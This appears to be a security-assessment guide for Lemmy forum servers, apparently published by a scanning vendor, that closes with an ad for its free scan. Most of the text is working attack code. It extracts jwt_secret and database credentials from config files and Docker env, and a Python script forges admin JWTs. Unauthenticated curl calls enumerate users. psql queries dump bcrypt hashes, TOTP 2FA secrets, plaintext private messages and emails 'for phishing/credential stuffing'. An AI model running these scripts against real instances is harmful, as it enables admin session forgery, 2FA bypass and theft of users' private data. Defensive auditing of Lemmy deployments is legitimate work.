Lemmy is a widely deployed self-hosted federated link aggregator (Reddit alternative) — organizations and communities use it to host private or public discussion forums. Key assessment areas: jwt_secret in lemmy.hjson signs all authentication tokens enabling session forgery for any user including admins; the ActivityPub federation API enables unauthenticated user enumeration; PostgreSQL stores all private messages unencrypted; and the admin account created during setup frequently uses weak credentials. This guide covers systematic Lemmy security assessment.
# Lemmy — JWT secret extraction and session token forgery
LEMMY_URL="https://lemmy.example.com"
# lemmy.hjson — main Lemmy configuration (contains JWT secret)
cat /etc/lemmy/lemmy.hjson 2>/dev/null
cat /opt/lemmy/lemmy.hjson 2>/dev/null
# Contains:
# jwt_secret: "random-string-here" <-- signs ALL auth tokens
# database: { uri: "postgresql://lemmy:PASSWORD@localhost:5432/lemmy" }
# email: { smtp_password: "..." }
# Docker environment — Lemmy secrets
docker inspect lemmy 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['LEMMY_', 'JWT', 'DATABASE', 'POSTGRES', 'SECRET']):
print(e)
" 2>/dev/null
# Forge a Lemmy JWT with extracted jwt_secret
# Lemmy uses HS256 JWT with claims: sub (user_id), iss (instance domain), iat
JWT_SECRET="extracted-jwt-secret"
TARGET_USER_ID=2 # 1 is typically the first admin
python3 -c "
import json, base64, hmac, hashlib, time
secret = '${JWT_SECRET}'
header = {'alg': 'HS256', 'typ': 'JWT'}
payload = {
'sub': ${TARGET_USER_ID},
'iss': 'lemmy.example.com',
'iat': int(time.time())
}
h = base64.urlsafe_b64encode(json.dumps(header, separators=(',',':')).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps(payload, separators=(',',':')).encode()).rstrip(b'=').decode()
sig_input = f'{h}.{p}'
sig = hmac.new(secret.encode(), sig_input.encode(), hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
token = f'{h}.{p}.{sig_b64}'
print(f'Forged JWT for user {TARGET_USER_ID}:')
print(token)
" 2>/dev/null
# Test forged JWT
FORGED_JWT="forged.token.here"
curl -s "${LEMMY_URL}/api/v3/site" \
-H "Authorization: Bearer ${FORGED_JWT}" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
me = d.get('my_user',{})
lu = me.get('local_user_view',{})
print(f'Authenticated as: {lu.get(\"person\",{}).get(\"name\")}')
print(f'Admin: {lu.get(\"local_user\",{}).get(\"admin\")}')
print(f'Email: {lu.get(\"local_user\",{}).get(\"email\")}')
" 2>/dev/null
# Lemmy user enumeration and API reconnaissance (unauthenticated)
LEMMY_URL="https://lemmy.example.com"
# GET /api/v3/site — instance info without auth (reveals admin list)
curl -s "${LEMMY_URL}/api/v3/site" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
site = d.get('site_view',{})
print(f'Instance: {site.get(\"site\",{}).get(\"name\")}')
print(f'Description: {site.get(\"site\",{}).get(\"description\",\"\")[:100]}')
admins = d.get('admins',[])
print(f'Admins ({len(admins)}):')
for a in admins:
p = a.get('person',{})
print(f' id={p.get(\"id\")} name={p.get(\"name\")} admin=True')
" 2>/dev/null
# GET /api/v3/person/list — enumerate all users (unauthenticated)
curl -s "${LEMMY_URL}/api/v3/person/list?page=1&limit=50&sort=New" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('persons',[])
print(f'Users found: {len(users)}')
for u in users[:10]:
p = u.get('person',{})
print(f' id={p.get(\"id\")} name={p.get(\"name\")} admin={p.get(\"admin\")}')
" 2>/dev/null
# ActivityPub — user enumeration via federation API (no auth)
USERNAMES=("admin" "lemmy" "moderator")
for U in "${USERNAMES[@]}"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Accept: application/activity+json" \
"${LEMMY_URL}/u/${U}" 2>/dev/null)
echo "User '${U}': HTTP ${STATUS}"
[ "$STATUS" = "200" ] && echo " User exists!"
done
# GET /api/v3/community/list — all communities (unauthenticated)
curl -s "${LEMMY_URL}/api/v3/community/list?type_=Local&page=1&limit=50" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
comms = d.get('communities',[])
print(f'Communities: {len(comms)}')
for c in comms[:5]:
cv = c.get('community',{})
print(f' {cv.get(\"name\")} ({cv.get(\"id\")}) posts={c.get(\"counts\",{}).get(\"posts\")}')
" 2>/dev/null
# Lemmy PostgreSQL database extraction
LEMMY_DB="lemmy"
psql -h localhost -U lemmy -d "$LEMMY_DB" 2>/dev/null << 'EOF'
-- All local user accounts with credentials
SELECT lu.id,
p.name as username,
lu.email,
lu.password_encrypted, -- bcrypt hash
lu.admin,
lu.totp_2fa_secret, -- TOTP secret if 2FA enabled
p.created
FROM local_user lu
JOIN person p ON lu.person_id = p.id
WHERE p.local = true
ORDER BY lu.admin DESC, p.created
LIMIT 20;
EOF
-- All private messages (stored unencrypted)
psql -h localhost -U lemmy -d "$LEMMY_DB" 2>/dev/null << 'EOF'
SELECT pm.id,
creator.name as sender,
recipient.name as receiver,
pm.content, -- message body in plaintext
pm.read,
pm.published
FROM private_message pm
JOIN person creator ON pm.creator_id = creator.id
JOIN person recipient ON pm.recipient_id = recipient.id
ORDER BY pm.published DESC
LIMIT 20;
EOF
-- JWT secret from local_site table (some versions store it here)
psql -h localhost -U lemmy -d "$LEMMY_DB" 2>/dev/null << 'EOF'
SELECT site_id, jwt_secret, actor_id FROM local_site LIMIT 1;
-- jwt_secret here overrides lemmy.hjson in some configurations
-- actor_id is the ActivityPub ID (public instance info)
EOF
-- All email addresses for phishing/credential stuffing
psql -h localhost -U lemmy -d "$LEMMY_DB" 2>/dev/null << 'EOF'
SELECT lu.email, p.name, lu.admin,
lu.email_verified,
p.created
FROM local_user lu
JOIN person p ON lu.person_id = p.id
WHERE lu.email IS NOT NULL
ORDER BY lu.admin DESC;
EOF
| Security Test | Method | Risk |
|---|---|---|
| jwt_secret extraction and admin session token forgery | Read lemmy.hjson jwt_secret — forge HS256 JWT with admin user ID; full admin API access including user banning, content deletion, instance-wide moderation actions | Critical |
| Unauthenticated user enumeration | GET /api/v3/person/list — full user roster without authentication; GET /api/v3/site reveals all admin user IDs; ActivityPub /u/{username} user existence checking | High |
| PostgreSQL private_message plaintext extraction | SELECT content FROM private_message — all private conversations stored unencrypted; complete message history for all users | High |
| local_user table credential and email extraction | SELECT email, password_encrypted, totp_2fa_secret FROM local_user — all bcrypt hashes, email addresses, and TOTP secrets enabling 2FA bypass | High |
| Database URI extraction from lemmy.hjson | Read lemmy.hjson database.uri — PostgreSQL connection string with username and password; full database access | High |
Ironimo tests Lemmy deployments for lemmy.hjson jwt_secret extraction and admin session token forgery, unauthenticated user enumeration via person/list API, ActivityPub federation user enumeration, PostgreSQL private_message plaintext content extraction, local_user email and bcrypt hash extraction, totp_2fa_secret TOTP bypass, local_site jwt_secret database entry, admin credential brute-force testing, community enumeration without authentication, and Docker environment variable jwt_secret and database credential exposure.
Start free scan